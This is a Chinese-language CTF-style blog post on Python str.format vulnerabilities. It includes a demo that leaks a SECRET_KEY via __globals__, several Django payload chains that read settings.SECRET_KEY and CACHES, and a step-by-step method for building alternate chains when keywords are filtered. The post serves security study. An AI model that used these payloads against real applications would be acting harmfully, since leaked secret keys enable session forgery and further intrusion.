python格式化字符串漏洞

Last updated on September 27, 2024 am

格式化字符串漏洞举例

https://zhuanlan.zhihu.com/p/57309024

1
2
3
4
5
6
7
8
config = {'SECRET_KEY': 'f0ma7_t3st'}

class User(object):
def __init__(self, name):
self.name = name

user=User('fru1ts')
print('Hello {name}'.format(name=user.__class__.__init__.__globals__))

两种导致格式化字符串的形式

1
2
"test %s" % ('test')
"test {0}".format('test')

https://github.com/hongriSec/CTF-Training/tree/master/2018/百越杯2018/Web

  • 格式化字符串漏洞只有只读属性没有执行属性,可以利用格式化字符串中的“获取对象属性”、“获取数组数值”等方法来寻找、取得一些敏感信息。

  • format函数无法执行__subclasses__()这样的方法,直接把这种payload套进格式化字符串的利用中会报错type object ‘object’ has no attribute ‘subclasses()’

Django下的格式化字符串漏洞

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

https://www.toutiao.com/article/6798379120028811780/

p神给了两条payload

1
2
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

但是如果adminconfig.等被过滤了就不能了利用了,所以需要通过分析payload如何构成,才能使用其他类进行替换。

1.user是一个AnonymousUser类,通过在Django库中搜索找到AnonymousUser的定义

2.group属性有两种获取方式_groupgroup(通过 @property将方法转换为属性)

3.group是一个EmptyManager对象,在库中搜索定义该类的文件,可以看到model属性,

_groups = EmptyManager(Group)所以Group就是对应的model

4.跟进Group类的定义,其继承自Model,再跟进看到Model继承自ModelBase

5.在库中搜索ModelBase找到定义的位置

在121行可以看到该类的_meta属性是一个Options类实例化的对象

6.跟进到Options,app_config的定义如下

看到app.app_configs有6个可选的元素,也就是app_config可以用app.app_configs[admin] app.app_configs[auth] app.app_configs[contenttypes] app.app_configs[sessions] app.app_configs[messages] app.app_configs[staticfiles]替换

app_config等价于apps.app_configs.get(self.app_label),其中128行有self.apps = self.default_apps,73行有default_apps = apps,跟进apps,发现是一个Apps的类。

7.在库中搜索Apps类的定义

在97行有self.app_configs[app_config.label] = app_config,而91行有app_config = AppConfig.create(entry)

8.跟进到AppConfig类,这个对象有一个module属性是python的一个模块即module

9.第6步用什么替换需要最后能够找到含有from django.conf import settings的文件(用于读配置信息)

例如:用admin,然后在/django/contrib/admin文件中查找from django.conf import settings

找到的这里文件都是可以利用的

1
{user.groups.model._meta.apps.app_configs[admin].module.checkers.settings.SECRET_KEY}

SECRET_KEY可以更改为替他配置信息。

贴几个找好的payload

1
2
3
4
5
{user.groups.model._meta.apps.app_configs[auth].module.checks.settings.CACHES}
{user.groups.model._meta.apps.app_configs[auth].module.middleware.settings.CACHES}
{user.groups.model._meta.apps.app_configs[sessions].module.middleware.settings.CACHES}
{user.groups.model._meta.apps.app_configs[messages].module.middleware.settings.CACHES}
{user.groups.model._meta.apps.app_configs[staticfiles].module.finders.settings.CACHES}

本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/11/23/python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!